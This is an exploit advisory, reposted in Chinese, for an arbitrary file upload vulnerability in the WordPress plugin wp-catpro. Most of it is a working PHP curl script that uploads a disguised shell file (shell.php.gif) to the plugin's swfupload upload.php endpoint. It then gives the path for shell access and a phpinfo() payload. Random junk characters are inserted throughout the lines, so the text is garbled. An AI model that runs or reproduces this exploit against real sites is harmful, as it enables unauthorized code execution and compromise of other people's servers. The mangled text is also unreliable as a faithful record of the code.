WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
4 Q8 ]7 H( z% P0 k' [. C
; n! G9 ?  ?' _9 r作者  => Zikou-16
邮箱 => zikou16x@gmail.com
, z$ s  f* _# W$ p/ _4 P8 n测试系统 : Windows 7 , Backtrack 5r3
9 D: x; m% Z: C5 E: v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
/ i6 P. Y5 f, e9 `) V####

#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
% l" f  w8 i  O/ A# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
# g9 c* ?# f% Z% c; y- }------------------
* l9 ?7 \& n! \
#=> Exploit
. [2 H0 o4 P7 Z- U- Z-----------
<?php
" [' h: d, ]) ?$ t; E5 s% e
$uploadfile="zik.php.gif";
$ n, k: A; ?; a0 O, V0 O5 V  ^$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
/ m, B7 O2 a  m8 |& ~curl_setopt($ch, CURLOPT_POSTFIELDS,
" _  _6 {9 k* q5 K9 `' n: larray('Filedata'=>"@$uploadfile",
$ d0 H- U" Q; Z1 F* P% i$ q'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
, A/ Z3 Z# R6 O/ B. d* wcurl_close($ch);

print "$postResult";

" @% `) P4 p* @' b0 ZShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
3 Z. Q5 ^' I4 D- l* x. j0 ^2 s  ?>
, a. N! [  c6 q+ {+ K3 O: F<?php
& d5 Z! M. J" Q! |, x; Q/ cphpinfo();
2 j6 m7 T2 i. \  x8 r& k# j3 ?" }?>